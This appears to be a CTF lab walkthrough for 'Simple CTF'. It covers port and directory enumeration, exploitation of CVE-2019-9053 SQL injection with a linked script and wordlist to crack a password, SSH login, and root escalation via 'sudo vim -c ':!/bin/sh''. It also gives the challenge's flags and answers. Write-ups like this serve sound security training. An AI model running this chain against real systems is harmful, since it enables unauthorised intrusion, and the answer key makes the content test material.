# Simple CTF Walkthrough

### Enumeration

```bash
sudo nmap -sT -sV -A -p- 10.10.134.123 -oN enum.txt
```

Result:

```bash
Nmap scan report for 10.10.134.123
Host is up (0.20s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.23.178.131
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 4.X|2.6.X|3.X|5.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4.15 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:5
Aggressive OS guesses: Linux 4.15 (97%), Linux 4.4 (91%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 2.6.32 - 3.10 (91%), Linux 3.10 - 3.13 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   241.40 ms 10.23.0.1
2   241.53 ms 10.10.134.123

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

For port 1000 if we run `sudo nmap -sT -sV -A -p 1000 10.10.134.123` will find 2 services running on port 1000 so:

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">How many services are running under port 1000? <code>2</code></div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What is running on the higher port? <code>ssh</code> <mark>Running on port 2222</mark></div>
</div>

### Dir Enum

Using gobuster, dirb or any similar tools (im going with dirb

```bash
dirb http://10.10.134.123
```

```bash
GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.134.123/ ----
+ http://10.10.134.123/index.html (CODE:200|SIZE:11321)                                                                            
+ http://10.10.134.123/robots.txt (CODE:200|SIZE:929)                                                                              
+ http://10.10.134.123/server-status (CODE:403|SIZE:301)                                                                           
==> DIRECTORY: http://10.10.134.123/simple/                                                                                        
                                                                                                                                   
---- Entering directory: http://10.10.134.123/simple/ ----
==> DIRECTORY: http://10.10.134.123/simple/admin/                                                                                  
==> DIRECTORY: http://10.10.134.123/simple/assets/                                                                                 
==> DIRECTORY: http://10.10.134.123/simple/doc/                                                                                    
+ http://10.10.134.123/simple/index.php (CODE:200|SIZE:19993)                                                                      
==> DIRECTORY: http://10.10.134.123/simple/lib/                                                                                    
==> DIRECTORY: http://10.10.134.123/simple/modules/                                                                                
==> DIRECTORY: http://10.10.134.123/simple/tmp/                                                                                    
==> DIRECTORY: http://10.10.134.123/simple/uploads/                                                                                
                                                                                                                                   
---- Entering directory: http://10.10.134.123/simple/admin/ ----
--> Test                                                                                                                            + http://10.10.134.123/simple/admin/index.php (CODE:302|SIZE:0)                                                                    
==> DIRECTORY: http://10.10.134.123/simple/admin/lang/ 
```

If we open `http://10.10.134.123/simple/` we will find the following

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760036037576/173f90e5-d26b-4013-87ae-413a4c2219d1.png align="left")

Small search with this cms version we will find `CVE-2019-9053`

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What's the CVE you're using against the application? <code>CVE-2019-9053</code></div>
</div>

In vulnerability details we will find its venerable with SQL Injection

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">To what kind of vulnerability is the application vulnerable? <code>sqli</code></div>
</div>

### SQL Injection

* Find the exploitation [here](https://www.exploit-db.com/exploits/46635) written in python2
    
* Find common 10k common keywords [here](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt)
    

```bash
python CVE-2019-9053.py -u http://10.10.2.28/simple/ --crack -w 10k-most-common.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760038640199/e2ee9446-d0b1-4b33-9b85-7674a6730ec6.png align="left")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What's the password? <code>secret</code></div>
</div>

### SSH

using username `mitch` and password `secret` we will try to login via ssh

```bash
ssh -p 2222 mith@10.10.134.123
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760039294056/79862099-4b29-4cd7-8904-2064b95be5a4.png align="center")

Yep now i have ssh access

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760039392840/0f841dcc-859b-45f5-aa61-a37bb82826ba.png align="left")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What's the user flag? <code>G00d j0b, keep up!</code></div>
</div>

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760039477787/024697cb-05cf-48b2-a4ac-96a19d9aabd5.png align="left")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Is there any other user in the home directory? What's its name? <code>sunbath</code></div>
</div>

### Privilege escalation

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760039561021/98aa8f0c-d783-4c24-b783-d1dbf99709e6.png align="left")

using `sudo -l` to see commands that we can execute with root privileges

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What can you leverage to spawn a privileged shell? <code>vim</code></div>
</div>

Go to [https://gtfobins.github.io/](https://gtfobins.github.io/) to find how to escalate using vim

```bash
sudo vim -c ':!/bin/sh'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760039810994/acf70bef-93c5-4564-8839-5aa05740697b.png align="left")

Now we have access with root user

inside `/root` we can find root.txt

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760039953666/72b96b36-3d8d-4a09-b5f4-e851daaba88f.png align="left")

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What's the root flag?<code>W3ll d0n3. You made it!</code></div>
</div>

### Additional found vulnerability

**ftp:**

We can find that we could login using ftp anonymously

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760037538408/69f9c423-38f8-406c-bfce-2e8fcfebb7bb.png align="left")

Found file `ForMitch.txt` . get it

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760038793690/4b8b0648-5602-47ea-984b-7211240cd51e.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1760038841580/22612d5a-8a1d-4a9e-9c5b-4691f7664da2.png align="left")